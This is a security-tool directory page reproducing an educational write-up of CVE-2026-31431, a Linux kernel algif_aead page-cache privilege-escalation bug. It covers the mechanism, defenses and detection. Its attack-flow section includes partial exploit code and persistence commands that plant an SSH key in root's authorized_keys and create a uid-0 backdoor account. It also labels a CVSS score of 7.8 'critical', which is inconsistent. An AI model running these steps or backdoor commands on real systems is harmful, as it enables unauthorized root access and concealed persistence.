Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431-Report-Copy-fail-Vulnerability- — Detailed analysis of the Copy Fail vulnerability (CVE-2026-31431) in the Linux kernel, including memory corruption mechanism, privilege escalation flow, and security impact. | Kitploit
Tools/GitHubGitHub/krish-foren6/cve-2026-31431-report-copy-fail-vulnerability-
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationLearning & EducationIncident ResponseContainer Escape
GitHubkrish-foren6/cve-2026-31431-report-copy-fail-vulnerability-

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31431-Report-Copy-fail-Vulnerability-

Detailed analysis of the Copy Fail vulnerability (CVE-2026-31431) in the Linux kernel, including memory corruption mechanism, privilege escalation flow, and security impact.

View Repository
13 months agoNot yet reviewed

CVE-2026-31431 — Copy Fail: Linux Kernel Privilege Escalation

CVE CVSS Kernel Type Purpose

Educational analysis of the Copy Fail vulnerability in the Linux kernel.
Covers the memory corruption mechanism, privilege escalation flow, container escape, and defensive countermeasures.


⚠️ Disclaimer

This repository is for educational and research purposes only.
Do not use this information on systems you do not own or have explicit written permission to test.
All code snippets and commands are provided strictly to aid understanding of Linux kernel internals.


Table of Contents

  • Overview
  • Vulnerability Identity Card
  • Background Concepts
  • How the Bug Works
  • Complete Attack Flow
  • Why It Is So Dangerous
  • Safe Practical Observation
  • Defense & Detection
  • Comparison with Similar CVEs
  • Glossary
  • Quick Reference

Overview

CVE-2026-31431, also known as Copy Fail, is a Linux kernel vulnerability where an unprivileged local user can escalate to root without any special permissions.

The attack operates entirely in RAM. The disk file is never touched — meaning file hashes stay clean, timestamps are unchanged, and audit logs record nothing. When the system reboots, all evidence disappears.

root@kitploit:~
Normal user  →  exploit algif_aead bug  →  overwrite page cache  →  root

Key properties:

  • ✅ No race condition — works reliably every time
  • ✅ Disk untouched — forensics find nothing
  • ✅ Requires only a standard local user account
  • ✅ Enables container escape via shared page cache

Vulnerability Identity Card


Background Concepts

/usr/bin/su — The Target Binary

su (Switch User) allows a user to switch to another account — typically root. It is a SetUID binary:

root@kitploit:~
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = SetUID flag

The s flag means: when any user runs this binary, it executes with root's permissions. This makes it a high-value target.

Its internal logic (simplified):

root@kitploit:~
if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

The attack goal: skip the password_correct() check entirely.


RAM and Page Cache

When Linux reads a file from disk, it keeps a copy in RAM called the page cache.

ComponentDescription
DiskOriginal file on disk (the library shelf)
Page CacheRAM copy of the file (the photocopy on your desk)
CPUReads and executes from the page cache — fast
AttackerModifies the RAM copy; disk stays untouched
root@kitploit:~
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← this is the page cache

Buffer and Safe Buffer

TypeSecurity
Safe Buffer — kernel-allocated, size and boundary controlled✅ OK
Page Cache — file-backed RAM copy, shared, executable⚠️ DANGEROUS if written to
Wrong Pointer — bug-caused address pointing anywhere🔴 CRITICAL

AF_ALG and algif_aead

AF_ALG (Algorithm Family) is a Linux socket interface that lets user-space programs use kernel crypto functions (AES, SHA, AEAD).

root@kitploit:~
socket(AF_ALG, SOCK_SEQPACKET, 0);  // open a crypto socket

algif_aead is the kernel module handling AEAD encryption (e.g. AES-GCM) through AF_ALG. The vulnerability lives in its data copy step.

root@kitploit:~
AF_ALG  →  algif_aead  →  AES-GCM engine  →  output buffer
                                ↑
                           BUG IS HERE

How the Bug Works

The bug is not in the encryption logic. It is in memory handling — the wrong memory region is selected during a data copy.

Normal flow (no bug):

root@kitploit:~
destination = safe_output_buffer;       // correct location
memcpy(destination, user_data, size);   // data safely written

Vulnerable flow (with bug):

root@kitploit:~
destination = buffer + WRONG_OFFSET;    // BUG: wrong pointer!
memcpy(destination, user_data, size);   // data lands in page cache

The kernel was supposed to write to the safe output buffer. Due to a miscalculated offset, it writes to the page cache — which holds the RAM copy of /usr/bin/su.

What the attacker changes in memory

The binary contains x86-64 machine code. The attacker targets the conditional jump that triggers auth failure:

Before attack:

root@kitploit:~
cmp  eax, 0     ; check return value
jne  0x1234     ; if fail → jump to deny
call give_root  ; grant root

After attack (2 bytes changed in RAM):

root@kitploit:~
cmp  eax, 0     ; same
90 90           ; NOP NOP ← jump replaced, check skipped!
call give_root  ; CPU lands here directly

NOP = No Operation. The CPU does nothing and moves forward — skipping the authentication check entirely.


Complete Attack Flow

Pre-Attack Mindset

"I only need a normal user account. The kernel will make the mistake itself.
Disk stays clean. No logs. Works every time."

Step 0 — Reconnaissance

root@kitploit:~
whoami && id
# uid=1000(user) gid=1000(user) ← normal user

uname -r
# 6.1.0-generic ← within vulnerable range

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confirmed

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"

Step 1 — Load File into Page Cache

root@kitploit:~
cat /usr/bin/su > /dev/null
# /usr/bin/su is now loaded into page cache ✓

Step 2 — Reverse Engineer the Binary

root@kitploit:~
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

Looking for: the auth function address, the jne/jnz conditional jump, and its exact byte offset.

Step 3 — Open AF_ALG Socket

root@kitploit:~
import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

Step 4 — Send Crafted Payload

root@kitploit:~
payload = b'\x90\x90'  # NOP NOP — replaces the conditional jump
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

Step 5 — Kernel Overwrites Page Cache

root@kitploit:~
# Kernel internally (simplified):
destination = buffer + crafted_offset  # BUG: wrong pointer
memcpy(destination, payload, 2)        # NOP bytes written into page cache
# /usr/bin/su's password check is now NOP NOP in RAM

Step 6 — Trigger

root@kitploit:~
su
# Password: (anything — or just press Enter)
# root@victim:/# ← ROOT OBTAINED

What happened: System executed /usr/bin/su from RAM. The password check was NOP. CPU skipped it. give_root() was called directly.

Step 7 — Persistence (Optional)

root@kitploit:~
echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

Why It Is So Dangerous

No Race Condition

Disk Untouched — Forensics Fail

After the attack, a forensic investigator finds:

root@kitploit:~
sha256sum /usr/bin/su       # SAME hash as before ← disk untouched
diff /usr/bin/su backup/su  # No difference
grep -r 'attack' /var/log/  # Nothing
auditd logs                 # No file write recorded

On reboot, RAM is flushed — all evidence is gone.

Container Breakout

Containers isolate user-space — but the kernel is shared, and page cache is kernel memory.

root@kitploit:~
Host Kernel
├── Container 1 (isolated user space)
│   └── Attacker is here
├── Container 2
└── Host Process

Page Cache: SHARED between all containers and host!

Escape path: Attacker in Container 1 reads host's /usr/bin/su → triggers the bug → host binary in RAM is modified → running su on the host yields root on the host machine.

Affected: Docker, Podman, LXC, Kubernetes (shared nodes) — if the host kernel is vulnerable.


Safe Practical Observation

These are observation exercises only. Use a lab environment (Docker + old kernel VM) for any testing.

Observe Page Cache

root@kitploit:~
free -h                      # note Cache value before
cat /usr/bin/su > /dev/null  # load file into page cache
free -h                      # Cache increases slightly

View Binary Memory Mapping

root@kitploit:~
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

Inspect Binary

root@kitploit:~
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

View Assembly (gdb)

root@kitploit:~
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

Disk vs RAM Hash

root@kitploit:~
sha256sum /usr/bin/su
# Same as disk normally — differs after a successful attack
# /proc/PID/mem comparison requires root

Defense & Detection

Immediate Mitigation

Priority 1 — Kernel Update (best fix)

root@kitploit:~
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

Priority 2 — Disable algif_aead

root@kitploit:~
sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

Priority 3 — Access Controls
Apply seccomp profiles with SystemCallFilter in systemd services to restrict AF_ALG socket access for untrusted processes.


Detection

eBPF Real-Time Detection

root@kitploit:~
sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
  }
'

Container Hardening

root@kitploit:~
# Run with seccomp profile (blocks AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
  • Use seccomp profiles that block AF_ALG socket creation
  • Use gVisor or similar kernel isolation for high-risk workloads
  • Avoid privileged containers
  • Set read-only root filesystem inside containers
  • Apply Kubernetes Pod Security Standards — restricted policy

Comparison with Similar CVEs

CVE-2026-31431 combines stealth (disk unchanged) + reliability (no race condition) + container escape — making it uniquely dangerous among its class.


Glossary


Quick Reference

Attack Flow at a Glance

Defense Checklist

  • Update kernel to patched version immediately
  • Disable algif_aead module if not required
  • Enable eBPF or Falco kernel-level monitoring
  • Update container seccomp profiles to block AF_ALG
  • Schedule memory-based binary integrity checks
  • Review and update incident response plan

The One-Liner

In CVE-2026-31431, Linux's crypto module (algif_aead) has a memory copy bug that causes attacker-controlled data to land in the page cache instead of the safe output buffer — silently modifying a SetUID binary in RAM — allowing any local user to gain root access without leaving a single trace on disk.


This document is prepared for educational understanding of Linux kernel security internals.
— Educational Purpose Only —

📄 Full Report (PDF)

👉 Download Full Report

Download Tool
FieldValue
CVE IDCVE-2026-31431
Common NameCopy Fail / algif_aead Page Cache Corruption
CVSS v3.1 Score7.8 — CRITICAL
Attack TypeLocal Privilege Escalation (LPE)
Affected Kernel VersionsLinux 5.10 through 6.8 (approx.)
Vulnerable Componentcrypto/algif_aead.c — AF_ALG socket interface
Exploitation ReliabilityHIGH — No race condition required
Disk EvidenceNONE — RAM-only modification
Container ImpactYES — Host escape via shared page cache
Patch StatusAvailable (upstream kernel patch released)
CVERace Condition?Disk Safe?Reliability
CVE-2016-5195 DirtyCowYES — timing requiredNO — disk modifiedMedium
CVE-2022-0847 DirtyPipeMinimalYES — RAM onlyHigh
CVE-2026-31431 Copy FailNO — direct writeYES — RAM onlyVERY HIGH
Detection MethodWorks?
sha256sum / file hash❌ Disk is identical
File modification timestamp❌ Disk untouched
auditd file write logs❌ No disk write occurred
Process memory inspection (/proc)✅ Only if monitored in real-time
eBPF kernel monitoring✅ Syscall-level detection
Memory forensics (LiME)✅ But complex
MethodCommand / Approach
Kernel versionuname -r → compare against patched version
Module loaded?lsmod | grep algif_aead
eBPF monitoringbpftrace -e 'kprobe:algif_aead_sendmsg { ... }'
Process memorycat /proc/PID/maps — compare with disk hash
auditdausearch -sc socket -sv no
FalcoRule: unexpected memfd or page cache write
Memory forensicsLiME dump for post-incident analysis
CVE / NameRace Condition?Disk Safe?Container Escape?Reliability
CVE-2016-5195 DirtyCowYES — timing required❌ Disk modifiedPartialMedium
CVE-2022-0847 DirtyPipeMinimal✅ RAM onlyYESHigh
CVE-2026-31431 Copy FailNO — direct write✅ RAM onlyYES — shared cacheVERY HIGH
TermMeaning
Privilege EscalationGoing from normal user to root without authorization
Page CacheCopy of a file stored in RAM, managed by the kernel
SetUID BinaryRoot-owned file that runs with root privileges for any user
Write PrimitiveArbitrary memory write capability obtained through a bug
Race ConditionTiming-based attack requiring a precise execution window
AF_ALGLinux kernel crypto socket interface (Algorithm Family)
algif_aeadAEAD encryption kernel module — the vulnerable component
memcpy()Memory copy function — moves data from one address to another
NOPNo Operation — CPU instruction that does nothing and moves on
Container EscapeBreaking out of a container to access the host system
eBPFKernel-level monitoring tool for real-time syscall detection
LiMELinux Memory Extractor — RAM dump tool for forensic analysis
SeccompSecure Computing — Linux mechanism to restrict syscalls
ELFExecutable and Linkable Format — standard Linux binary format
CVECommon Vulnerabilities and Exposures — vulnerability identifier
CVSSCommon Vulnerability Scoring System — standardized severity scoring
Kernel ModuleKernel plugin (e.g. device drivers, crypto handlers)
OffsetDistance in bytes from one memory point to another
Reverse EngineeringAnalyzing a compiled binary without access to source code
StepAction
1whoami — confirm you are a normal user
2uname -r — verify kernel is in vulnerable range (5.10 – 6.8)
3ls -la /usr/bin/su — confirm SetUID flag is present
4Run exploit script: AF_ALG → algif_aead → crafted payload
5Kernel bug triggers → page cache of /usr/bin/su overwritten in RAM
6Run su → ROOT obtained (no password required)
7Persistence: add SSH key or create backdoor root user